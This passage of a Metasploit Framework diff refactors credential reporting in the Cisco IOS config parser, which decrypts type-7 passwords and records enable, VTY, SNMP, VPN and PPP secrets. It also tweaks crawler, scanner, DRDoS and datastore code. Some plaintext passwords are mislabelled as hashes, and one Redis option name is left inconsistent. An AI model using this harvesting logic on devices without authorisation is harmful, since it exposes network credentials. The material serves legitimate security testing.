{Msf::ModuleManager::ModulePaths#add_module_paths} # @return [Array] The list of module paths to load def extract_engine_module_paths(engine) engine.paths['modules'] ? engine.paths['modules'].existent_directories : [] diff --git a/lib/msf/core.rb b/lib/msf/core.rb index fb09518600..a9e700eb26 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -16,6 +16,8 @@ require 'msf/sanity' # The framework-core depends on Rex require 'rex' require 'rex/ui' +require 'rex/arch' +include Rex::Arch module Msf autoload :Author, 'msf/core/author' diff --git a/lib/msf/core/author.rb b/lib/msf/core/author.rb index 214aa73a73..e5ca594bdd 100644 --- a/lib/msf/core/author.rb +++ b/lib/msf/core/author.rb @@ -51,7 +51,8 @@ class Msf::Author 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', 'todb' => 'todb' + 0x40.chr + 'metasploit.com', 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', - 'wvu' => 'wvu' + 0x40.chr + 'metasploit.com' + 'wvu' => 'wvu' + 0x40.chr + 'metasploit.com', + 'zeroSteiner' => 'zeroSteiner' + 0x40.chr + 'gmail.com' } # diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index 7a3ed4d381..fb2738ddad 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -49,7 +49,7 @@ module Auxiliary::AuthBrute @@max_per_service = nil end - # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # Yields each Metasploit::Credential::Core in the Mdm::Workspace with # a private type of 'ntlm_hash' # # @yieldparam [Metasploit::Credential::Core] @@ -60,7 +60,7 @@ module Auxiliary::AuthBrute end end - # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # Yields each Metasploit::Credential::Core in the Mdm::Workspace with # a private type of 'password' # # @yieldparam [Metasploit::Credential::Core] @@ -71,7 +71,7 @@ module Auxiliary::AuthBrute end end - # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # Yields each Metasploit::Credential::Core in the Mdm::Workspace with # a private type of 'ssh_key' # # @yieldparam [Metasploit::Credential::Core] @@ -90,7 +90,7 @@ module Auxiliary::AuthBrute (datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active end - # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes + # This method takes a Metasploit::Framework::CredentialCollection and prepends existing NTLMHashes # from the database. This allows the users to use the DB_ALL_CREDS option. # # @param cred_collection [Metasploit::Framework::CredentialCollection] @@ -105,7 +105,7 @@ module Auxiliary::AuthBrute cred_collection end - # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys + # This method takes a Metasploit::Framework::CredentialCollection and prepends existing SSHKeys # from the database. This allows the users to use the DB_ALL_CREDS option. # # @param [Metasploit::Framework::CredentialCollection] cred_collection @@ -120,7 +120,7 @@ module Auxiliary::AuthBrute cred_collection end - # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials + # This method takes a Metasploit::Framework::CredentialCollection and prepends existing Password Credentials # from the database. This allows the users to use the DB_ALL_CREDS option. # # @param cred_collection [Metasploit::Framework::CredentialCollection] @@ -135,9 +135,9 @@ module Auxiliary::AuthBrute cred_collection end - # Takes a {Metasploit::Credential::Core} and converts it into a - # {Metasploit::Framework::Credential} and processes it into the - # {Metasploit::Framework::CredentialCollection} as dictated by the + # Takes a Metasploit::Credential::Core and converts it into a + # Metasploit::Framework::Credential and processes it into the + # Metasploit::Framework::CredentialCollection as dictated by the # selected datastore options. # # @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to @@ -593,9 +593,13 @@ module Auxiliary::AuthBrute old_msg = msg.to_s.strip msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni if old_msg.match(msg_regex) and !old_msg.match(msg_regex)[6].to_s.strip.empty? - complete_message = [ip,port].join(":") - (complete_message << " ") if ip - complete_message << (old_msg.match(msg_regex)[4] || proto).to_s + complete_message = '' + unless ip.blank? && port.blank? + complete_message << "#{ip}:#{rport}" + else + complete_message << (old_msg.match(msg_regex)[4] || proto).to_s + end + complete_message << " - " progress = tried_over_total(ip,port) complete_message << progress if progress @@ -604,8 +608,7 @@ module Auxiliary::AuthBrute complete_message = msg.to_s.strip end else - complete_message = [ip,port].join(":") - (complete_message << " ") if ip + complete_message = '' complete_message << "#{proto.to_s.strip} - " if proto progress = tried_over_total(ip,port) complete_message << progress if progress diff --git a/lib/msf/core/auxiliary/cisco.rb b/lib/msf/core/auxiliary/cisco.rb index 3dd2a96d19..d4f1ffb422 100644 --- a/lib/msf/core/auxiliary/cisco.rb +++ b/lib/msf/core/auxiliary/cisco.rb @@ -9,7 +9,6 @@ module Msf module Auxiliary::Cisco include Msf::Auxiliary::Report - def cisco_ios_decrypt7(inp) xlat = [ 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, @@ -33,25 +32,60 @@ module Auxiliary::Cisco end clear end + + def create_credential_and_login(opts={}) + return nil unless active_db? + + if self.respond_to?(:[]) and self[:task] + opts[:task_id] ||= self[:task].record.id + end + + core = opts.fetch(:core, create_credential(opts)) + access_level = opts.fetch(:access_level, nil) + last_attempted_at = opts.fetch(:last_attempted_at, nil) + status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED) + + login_object = nil + retry_transaction do + service_object = create_credential_service(opts) + login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize + + if opts[:task_id] + login_object.tasks << Mdm::Task.find(opts[:task_id]) + end + + login_object.access_level = access_level if access_level + login_object.last_attempted_at = last_attempted_at if last_attempted_at + if status == Metasploit::Model::Login::Status::UNTRIED + if login_object.last_attempted_at.nil? + login_object.status = status + end + else + login_object.status = status + end + login_object.save! + end + + login_object + end + def cisco_ios_config_eater(thost, tport, config) - - # - # Create a template hash for cred reporting - # - cred_info = { - :host => thost, - :port => tport, - :user => "", - :pass => "", - :type => "", - :collect_type => "", - :active => true + + credential_data = { + address: thost, + port: tport, + protocol: 'tcp', + workspace_id: myworkspace.id, + origin_type: :service, + service_name: '', + module_fullname: self.fullname, + status: Metasploit::Model::Login::Status::UNTRIED } # Default SNMP to UDP if tport == 161 - cred_info[:proto] = 'udp' + credential_data[:protocol] = 'udp' end store_loot("cisco.ios.config", "text/plain", thost, config.strip, "config.txt", "Cisco IOS Configuration") @@ -70,40 +104,42 @@ module Auxiliary::Cisco if stype == 5 print_good("#{thost}:#{tport} MD5 Encrypted Enable Password: #{shash}") store_loot("cisco.ios.enable_hash", "text/plain", thost, shash, "enable_password_hash.txt", "Cisco IOS Enable Password Hash (MD5)") + cred = credential_data.dup + cred[:private_data] = shash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 0 print_good("#{thost}:#{tport} Enable Password: #{shash}") store_loot("cisco.ios.enable_pass", "text/plain", thost, shash, "enable_password.txt", "Cisco IOS Enable Password") - cred = cred_info.dup - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = shash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end if stype == 7 shash = cisco_ios_decrypt7(shash) rescue shash print_good("#{thost}:#{tport} Decrypted Enable Password: #{shash}") store_loot("cisco.ios.enable_pass", "text/plain", thost, shash, "enable_password.txt", "Cisco IOS Enable Password") - - cred = cred_info.dup - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + + cred = credential_data.dup + cred[:private_data] = shash + cred[:private_type] = :password + create_credential_and_login(cred) end when /^\s*enable password (.*)/i spass = $1.strip print_good("#{thost}:#{tport} Unencrypted Enable Password: #{spass}") - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) # # SNMP @@ -113,21 +149,17 @@ module Auxiliary::Cisco scomm = $1.strip print_good("#{thost}:#{tport} SNMP Community (#{stype}): #{scomm}") + cred = credential_data.dup if stype.downcase == "ro" - ptype = "password_ro" + cred[:access_level] = "RO" else - ptype = "password" + cred[:access_level] = "RW" end - - cred = cred_info.dup - cred[:sname] = "snmp" - cred[:pass] = scomm - cred[:type] = ptype - cred[:collect_type] = ptype - cred[:proto] = "udp" - cred[:port] = 161 - store_cred(cred) - + cred[:protocol] = "udp" + cred[:port] = 161 + cred[:private_data] = scomm + cred[:private_type] = :password + create_credential_and_login(cred) # # VTY Passwords # @@ -136,26 +168,31 @@ module Auxiliary::Cisco spass = cisco_ios_decrypt7(spass) rescue spass print_good("#{thost}:#{tport} Decrypted VTY Password: #{spass}") - cred = cred_info.dup - - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :password + create_credential_and_login(cred) + when /^\s*(password|secret) 5 (.*)/i - shash = $1.strip + shash = $2.strip print_good("#{thost}:#{tport} MD5 Encrypted VTY Password: #{shash}") store_loot("cisco.ios.vty_password", "text/plain", thost, shash, "vty_password_hash.txt", "Cisco IOS VTY Password Hash (MD5)") - + + cred = credential_data.dup + cred[:private_data] = shash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + when /^\s*password (0 |)([^\s]+)/i spass = $2.strip print_good("#{thost}:#{tport} Unencrypted VTY Password: #{spass}") - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) # # WiFi Passwords @@ -173,29 +210,29 @@ module Auxiliary::Cisco if stype == 5 print_good("#{thost}:#{tport} Wireless WPA-PSK MD5 Password Hash: #{spass}") store_loot("cisco.ios.wireless_wpapsk_hash", "text/plain", thost, spass, "wireless_wpapsk_hash.txt", "Cisco IOS Wireless WPA-PSK Password Hash (MD5)") + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 0 print_good("#{thost}:#{tport} Wireless WPA-PSK Password: #{spass}") - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) - store_loot("cisco.ios.wireless_wpapsk", "text/plain", thost, spass, "wireless_wpapsk.txt", "Cisco IOS Wireless WPA-PSK Password") + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 7 spass = cisco_ios_decrypt7(spass) rescue spass print_good("#{thost}:#{tport} Wireless WPA-PSK Decrypted Password: #{spass}") - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) - store_loot("cisco.ios.wireless_wpapsk", "text/plain", thost, spass, "wireless_wpapsk.txt", "Cisco IOS Wireless WPA-PSK Decrypted Password") + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :password + create_credential_and_login(cred) end # @@ -208,11 +245,11 @@ module Auxiliary::Cisco print_good("#{thost}:#{tport} VPN IPSEC ISAKMP Key '#{spass}' Host '#{shost}'") store_loot("cisco.ios.vpn_ipsec_key", "text/plain", thost, "#{spass}", "vpn_ipsec_key.txt", "Cisco VPN IPSEC Key") - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + when /^\s*interface tunnel(\d+)/i tuniface = $1 @@ -222,25 +259,24 @@ module Auxiliary::Cisco print_good("#{thost}:#{tport} GRE Tunnel Key #{spass} for Interface Tunnel #{siface}") store_loot("cisco.ios.gre_tunnel_key", "text/plain", thost, "tunnel#{siface}_#{spass}", "gre_tunnel_key.txt", "Cisco GRE Tunnel Key") - - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) - + + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + when /^\s*ip nhrp authentication ([^\s]+)/i spass = $1 siface = tuniface print_good("#{thost}:#{tport} NHRP Authentication Key #{spass} for Interface Tunnel #{siface}") store_loot("cisco.ios.nhrp_tunnel_key", "text/plain", thost, "tunnel#{siface}_#{spass}", "nhrp_tunnel_key.txt", "Cisco NHRP Authentication Key") - - cred = cred_info.dup - cred[:pass] = spass - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + # # Various authentication secrets @@ -249,139 +285,142 @@ module Auxiliary::Cisco user = $1 priv = $2 stype = $4.to_i - shash = $5 + spass = $5 if stype == 5 - print_good("#{thost}:#{tport} Username '#{user}' with MD5 Encrypted Password: #{shash}") - store_loot("cisco.ios.username_password_hash", "text/plain", thost, "#{user}_level#{priv}:#{shash}", "username_password_hash.txt", "Cisco IOS Username and Password Hash (MD5)") + print_good("#{thost}:#{tport} Username '#{user}' with MD5 Encrypted Password: #{spass}") + store_loot("cisco.ios.username_password_hash", "text/plain", thost, "#{user}_level#{priv}:#{spass}", "username_password_hash.txt", "Cisco IOS Username and Password Hash (MD5)") + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 0 - print_good("#{thost}:#{tport} Username '#{user}' with Password: #{shash}") - store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}_level#{priv}:#{shash}", "username_password.txt", "Cisco IOS Username and Password") + print_good("#{thost}:#{tport} Username '#{user}' with Password: #{spass}") + store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}_level#{priv}:#{spass}", "username_password.txt", "Cisco IOS Username and Password") - cred = cred_info.dup - cred[:user] = user - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 7 - shash = cisco_ios_decrypt7(shash) rescue shash - print_good("#{thost}:#{tport} Username '#{user}' with Decrypted Password: #{shash}") - store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}_level#{priv}:#{shash}", "username_password.txt", "Cisco IOS Username and Password") + spass = cisco_ios_decrypt7(spass) rescue spass + print_good("#{thost}:#{tport} Username '#{user}' with Decrypted Password: #{spass}") + store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}_level#{priv}:#{spass}", "username_password.txt", "Cisco IOS Username and Password") - cred = cred_info.dup - cred[:user] = user - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :password + create_credential_and_login(cred) end when /^\s*username ([^\s]+) (secret|password) (\d+) ([^\s]+)/i user = $1 stype = $3.to_i - shash = $4 + spass = $4 if stype == 5 - print_good("#{thost}:#{tport} Username '#{user}' with MD5 Encrypted Password: #{shash}") - store_loot("cisco.ios.username_password_hash", "text/plain", thost, "#{user}:#{shash}", "username_password_hash.txt", "Cisco IOS Username and Password Hash (MD5)") + print_good("#{thost}:#{tport} Username '#{user}' with MD5 Encrypted Password: #{spass}") + store_loot("cisco.ios.username_password_hash", "text/plain", thost, "#{user}:#{spass}", "username_password_hash.txt", "Cisco IOS Username and Password Hash (MD5)") + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 0 - print_good("#{thost}:#{tport} Username '#{user}' with Password: #{shash}") - store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}:#{shash}", "username_password.txt", "Cisco IOS Username and Password") + print_good("#{thost}:#{tport} Username '#{user}' with Password: #{spass}") + store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}:#{spass}", "username_password.txt", "Cisco IOS Username and Password") - cred = cred_info.dup - cred[:user] = user - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 7 - shash = cisco_ios_decrypt7(shash) rescue shash - print_good("#{thost}:#{tport} Username '#{user}' with Decrypted Password: #{shash}") - store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}:#{shash}", "username_password.txt", "Cisco IOS Username and Password") + spass = cisco_ios_decrypt7(spass) rescue spass + print_good("#{thost}:#{tport} Username '#{user}' with Decrypted Password: #{spass}") + store_loot("cisco.ios.username_password", "text/plain", thost, "#{user}:#{spass}", "username_password.txt", "Cisco IOS Username and Password") - cred = cred_info.dup - cred[:user] = user - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :password + create_credential_and_login(cred) end when /^\s*ppp.*username ([^\s]+) (secret|password) (\d+) ([^\s]+)/i suser = $1 stype = $3.to_i - shash = $4 + spass = $4 if stype == 5 - print_good("#{thost}:#{tport} PPP Username #{suser} MD5 Encrypted Password: #{shash}") - store_loot("cisco.ios.ppp_username_password_hash", "text/plain", thost, "#{suser}:#{shash}", "ppp_username_password_hash.txt", "Cisco IOS PPP Username and Password Hash (MD5)") + print_good("#{thost}:#{tport} PPP Username #{suser} MD5 Encrypted Password: #{spass}") + store_loot("cisco.ios.ppp_username_password_hash", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password_hash.txt", "Cisco IOS PPP Username and Password Hash (MD5)") + + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 0 - print_good("#{thost}:#{tport} PPP Username: #{suser} Password: #{shash}") - store_loot("cisco.ios.ppp_username_password", "text/plain", thost, "#{suser}:#{shash}", "ppp_username_password.txt", "Cisco IOS PPP Username and Password") - - cred = cred_info.dup - cred[:pass] = shash - cred[:user] = suser - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + print_good("#{thost}:#{tport} PPP Username: #{suser} Password: #{spass}") + store_loot("cisco.ios.ppp_username_password", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password.txt", "Cisco IOS PPP Username and Password") + + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 7 - shash = cisco_ios_decrypt7(shash) rescue shash - print_good("#{thost}:#{tport} PPP Username: #{suser} Decrypted Password: #{shash}") - store_loot("cisco.ios.ppp_username_password", "text/plain", thost, "#{suser}:#{shash}", "ppp_username_password.txt", "Cisco IOS PPP Username and Password") + spass = cisco_ios_decrypt7(spass) rescue spass + print_good("#{thost}:#{tport} PPP Username: #{suser} Decrypted Password: #{spass}") + store_loot("cisco.ios.ppp_username_password", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password.txt", "Cisco IOS PPP Username and Password") - cred = cred_info.dup - cred[:pass] = shash - cred[:user] = suser - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :password + create_credential_and_login(cred) end when /^\s*ppp chap (secret|password) (\d+) ([^\s]+)/i stype = $2.to_i - shash = $3 + spass = $3 if stype == 5 - print_good("#{thost}:#{tport} PPP CHAP MD5 Encrypted Password: #{shash}") - store_loot("cisco.ios.ppp_password_hash", "text/plain", thost, shash, "ppp_password_hash.txt", "Cisco IOS PPP Password Hash (MD5)") + print_good("#{thost}:#{tport} PPP CHAP MD5 Encrypted Password: #{spass}") + store_loot("cisco.ios.ppp_password_hash", "text/plain", thost, spass, "ppp_password_hash.txt", "Cisco IOS PPP Password Hash (MD5)") + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 0 - print_good("#{thost}:#{tport} Password: #{shash}") - store_loot("cisco.ios.ppp_password", "text/plain", thost, shash, "ppp_password.txt", "Cisco IOS PPP Password") + print_good("#{thost}:#{tport} Password: #{spass}") + store_loot("cisco.ios.ppp_password", "text/plain", thost, spass, "ppp_password.txt", "Cisco IOS PPP Password") - cred = cred_info.dup - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) end if stype == 7 - shash = cisco_ios_decrypt7(shash) rescue shash - print_good("#{thost}:#{tport} PPP Decrypted Password: #{shash}") - store_loot("cisco.ios.ppp_password", "text/plain", thost, shash, "ppp_password.txt", "Cisco IOS PPP Password") + spass = cisco_ios_decrypt7(spass) rescue spass + print_good("#{thost}:#{tport} PPP Decrypted Password: #{spass}") + store_loot("cisco.ios.ppp_password", "text/plain", thost, spass, "ppp_password.txt", "Cisco IOS PPP Password") - cred = cred_info.dup - cred[:pass] = shash - cred[:type] = "password" - cred[:collect_type] = "password" - store_cred(cred) + cred = credential_data.dup + cred[:private_data] = spass + cred[:private_type] = :password + create_credential_and_login(cred) end end end diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index e52ff259de..b45cf52028 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -23,8 +23,8 @@ module Auxiliary::HttpCrawler OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]), OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]), OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']), + OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication']), + OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication']), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION']), OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]) @@ -44,7 +44,7 @@ module Auxiliary::HttpCrawler OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]), + Opt::SSLVersion ], self.class ) @@ -123,9 +123,9 @@ module Auxiliary::HttpCrawler :info => "" }) - if datastore['USERNAME'] and datastore['USERNAME'] != '' - t[:username] = datastore['USERNAME'].to_s - t[:password] = datastore['PASSWORD'].to_s + if datastore['HttpUsername'] and datastore['HttpUsername'] != '' + t[:username] = datastore['HttpUsername'].to_s + t[:password] = datastore['HttpPassword'].to_s t[:domain] = datastore['DOMAIN'].to_s end diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb index ddf1ca8fdf..af5510c5bf 100644 --- a/lib/msf/core/auxiliary/drdos.rb +++ b/lib/msf/core/auxiliary/drdos.rb @@ -46,7 +46,11 @@ module Auxiliary::DRDoS bandwidth_amplification = total_size - request.size if bandwidth_amplification > 0 vulnerable = true - multiplier = total_size / request.size + if request.size == 0 + multiplier = total_size + else + multiplier = total_size / request.size + end this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification" else this_proof += 'no bandwidth amplification' diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index fc3f6860c2..8474564653 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -27,8 +27,8 @@ module Msf def build_probe @probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data # TODO: support QU vs QM probes - # @probe[@probe.size-2] = [0x80].pack('C') - # @probe + #+ @probe[@probe.size-2] = [0x80].pack('C') + #+ @probe end def query_class diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 3b0d3c6e8e..9867ad0664 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -20,7 +20,7 @@ module Msf register_options( [ Opt::RPORT(6379), - OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) + OptString.new('PASSWORD', [false, 'Redis password for authentication test', 'foobared']) ] ) @@ -54,7 +54,7 @@ module Msf if /(?ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password'] vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})") - if (auth_response = send_redis_command('AUTH', datastore['Password'])) + if (auth_response = send_redis_command('AUTH', datastore['PASSWORD'])) unless auth_response =~ /\+OK/ vprint_error("Authentication failure: #{printable_redis_response(auth_response)}") return diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 3ab5efe66a..c701033d91 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -70,7 +70,7 @@ module Auxiliary::Report # This method safely get the workspace ID. It handles if the db is not active # # @return [NilClass] if there is no DB connection - # @return [Fixnum] the ID of the current {Mdm::Workspace} + # @return [Fixnum] the ID of the current Mdm::Workspace def myworkspace_id if framework.db.active myworkspace.id @@ -169,7 +169,7 @@ module Auxiliary::Report # should be used directly instead. # # @param opts [Hash] the option hash - # @option opts [String] :host the address of the host (also takes a {Mdm::Host}) + # @option opts [String] :host the address of the host (also takes a Mdm::Host) # @option opts [Fixnum] :port the port of the connected service # @option opts [Mdm::Service] :service an optional Service object to build the cred for # @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key") diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index 43b4c4c905..30caf33745 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -31,9 +31,23 @@ def initialize(info = {}) end +# If a module is using the scanner mixin, technically the RHOST datastore option should be +# disabled. Only the mixin should be setting this. See #6989 + +def setup + @original_rhost = datastore['RHOST'] + datastore['RHOST'] = nil +end + +def cleanup + datastore['RHOST'] = @original_rhost + super +end + def check nmod = replicant + nmod.datastore['RHOST'] = @original_rhost begin nmod.check_host(datastore['RHOST']) rescue NoMethodError @@ -304,6 +318,36 @@ def scanner_show_progress end end +def add_delay_jitter(_delay, _jitter) + # Introduce the delay + delay_value = _delay.to_i + original_value = delay_value + jitter_value = _jitter.to_i + + # Retrieve the jitter value and delay value + # Delay = number of milliseconds to wait between each request + # Jitter = percentage modifier. For example: + # Delay is 1000ms (i.e. 1 second), Jitter is 50. + # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request + # delay will be 1000 +/- a maximum of 500ms. + if delay_value > 0 + if jitter_value > 0 + rnd = Random.new + if (rnd.rand(2) == 0) + delay_value += rnd.rand(jitter_value) + else + delay_value -= rnd.rand(jitter_value) + end + if delay_value < 0 + delay_value = 0 + end + end + final_delay = delay_value.to_f / 1000.0 + vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)") + sleep final_delay + end +end + end end diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb index 2e2473fbe7..df2aa25378 100644 --- a/lib/msf/core/constants.rb +++ b/lib/msf/core/constants.rb @@ -88,6 +88,7 @@ module OperatingSystems SEVEN = "7" EIGHT = "8" EIGHTONE = "8.1" + TEN = "10.0" end UNKNOWN = "Unknown" @@ -108,6 +109,7 @@ module OperatingSystems WINDOWS_2012 = /^(?:Microsoft )?Windows 2012/ WINDOWS_8 = /^(?:Microsoft )?Windows 8/ WINDOWS_81 = /^(?:Microsoft )?Windows 8\.1/ + WINDOWS_10 = /^(?:Microsoft )?Windows 10/ LINUX = /^Linux/i MAC_OSX = /^(?:Apple )?Mac OS X/ @@ -138,4 +140,4 @@ LICENSES = BSD_LICENSE, ARTISTIC_LICENSE, UNKNOWN_LICENSE - ] \ No newline at end of file + ] diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index f4da1911e0..0b7f5f54cc 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -13,6 +13,7 @@ class DataStore < Hash # Initializes the data store's internal state. # def initialize() + @options = Hash.new @imported = Hash.new @imported_by = Hash.new end @@ -26,6 +27,16 @@ class DataStore < Hash @imported[k] = false @imported_by[k] = nil + opt = @options[k] + unless opt.nil? + if opt.validate_on_assignment? + unless opt.valid?(v, check_empty: false) + raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"]) + end + v = opt.normalize(v) + end + end + super(k,v) end @@ -65,17 +76,11 @@ class DataStore < Hash # all of the supplied options # def import_options(options, imported_by = nil, overwrite = false) - options.each_option { |name, opt| - # If there's already a value defined for this option, then skip it - # and don't import it. - next if self.has_key?(name) and overwrite == false - - # If the option has a default value, import it, but only if the - # datastore doesn't already have a value set for it. - if ((opt.default != nil) and (overwrite or self[name] == nil)) - import_option(name, opt.default.to_s, true, imported_by) + options.each_option do |name, opt| + if self[name].nil? || overwrite + import_option(name, opt.default, true, imported_by, opt) end - } + end end # @@ -124,13 +129,14 @@ class DataStore < Hash # def import_options_from_hash(option_hash, imported = true, imported_by = nil) option_hash.each_pair { |key, val| - import_option(key, val.to_s, imported, 